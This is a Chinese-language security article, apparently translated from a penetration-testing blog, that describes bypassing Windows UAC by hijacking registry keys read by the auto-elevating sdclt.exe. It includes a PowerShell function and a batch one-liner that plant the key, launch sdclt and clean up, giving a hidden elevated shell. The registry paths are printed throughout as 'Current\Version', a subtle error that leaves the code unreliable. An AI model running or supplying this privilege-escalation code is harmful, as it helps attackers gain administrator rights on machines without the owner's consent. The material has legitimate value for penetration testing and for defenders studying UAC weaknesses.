绕过UAC系列之 SDCLT的利用

本文讲的是 绕过UAC系列之 SDCLT的利用SDCLT是Windows系统(Windows 7及更高版本)中使用的Microsoft二进制文件,允许用户执行备份和恢复操作。 但是它只是 Windows 将autoElevate设置为“true”的所有Microsoft二进制文件中的一个。 这一点可以通过使用sysinternals中的 Sigcheck 工具并浏览其清单文件进行验证:

sdclt 的 autoelevate被设置为true

Matt Nelson发现了两种可以允许用户在Windows 10环境中绕过UAC的方法。 这两种方法都需要构建一个特定的注册表结构,但它们彼此并不相同,因为其中一个方法可以采用命令参数,而另一个方法将执行二进制文件的完整路径。

应用路径

备份和还原操作是控制面板的一部分。 这意味着当sdclt.exe进程启动时,控制面板也会启动。 该二进制文件被设计为以高完整性的进程运行:

sdclt – 高完整性进程

另外sdclt在启动时会在注册表中查找以下位置。

HKCU\Software\Microsoft\Windows\Current\Version\App Paths\control.exe

然而这个路径并不存在,因此,一个攻击者可以创建这个注册项路径就可以执行指定的 payload,而且是以一个高完整性的进程启动,从而绕过了UAC。

sdclt – 注册项路径并不存在

应用程序路径 – 绕过UAC的注册项

下一次启动 sdclt.exe,则会运行并打开已经提升过权限的cmd:

sdclt – 已经提升过权限的cmd

无文件的实现

还有另一种方法可以通过sdclt来绕过UAC,可以使用命令参数而不是二进制程序的完整路径。 具体来说是这样的,当使用“kickoffelev”执行sdclt时,将会在注册表中执行检查,目的是找到以下路径:

HKCU\Software\Classes\exefile\shell\runas\command\IsolatedCommand

默认情况下,此路径并不存在,因此可以手动构造这个路径,然后就可以执行cmd了:

Sdclt 无文件绕过UAC – Isolated Command 注册表项

当sdclt再次使用/kickoffelev参数执行时,它会发现IsolatedCommand注册表项是存在的,然后它就会执行权限提升,然后打开cmd。

sdclt 无文件的实现– 已经绕过UAC的cmd

PowerShell的实现

可以使用以下PowerShell脚本来自动执行此绕过过程,该脚本是为pentestlab的博客而编写的,它实际上是Matt Nelson 编写的AppPathBypass脚本的简化版本。

具体的代码如下,或者你也可以在GithubGist 仓库中找到:

function SdcltUACBypass(){
Param (
  [String]$program = "C:\Windows\System32\cmd.exe" #default
      )
#Create Registry Structure
New-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Force
Set-ItemProperty -Path "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Name "(default)" -Value $program -Force
#Start sdclt.exe
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Recurse -Force
}

利用sdclt绕过 UAC的PowerShell脚本

Matt Nelson 为这两种绕过方式都开发了对应的 PowerShell 脚本 ,用于演示绕过UAC。

应用程序路径 –通过PowerShell实现的UAC绕过

无文件绕过 UAC – sdclt – PoweShell

命令提示符和记事本程序将以与sdclt相同的权限级别启动运行,这意味着它们的进程将以完全级别设置为“高”的进程运行,最终就绕过了用户帐户控制(UAC)。

sdclt – cmd 和 notepad 程序会作为一个高完整性的进程运行

UACME

现在要说的这种绕过方式是 UACME 项目的第31个绕过方式:

sdclt –利用 UACME 绕过UAC

批处理文件

也可以通过.bat 文件执行此绕过方式:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /f




原文发布时间为:2017年9月13日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

你可能感兴趣的:(绕过UAC系列之 SDCLT的利用)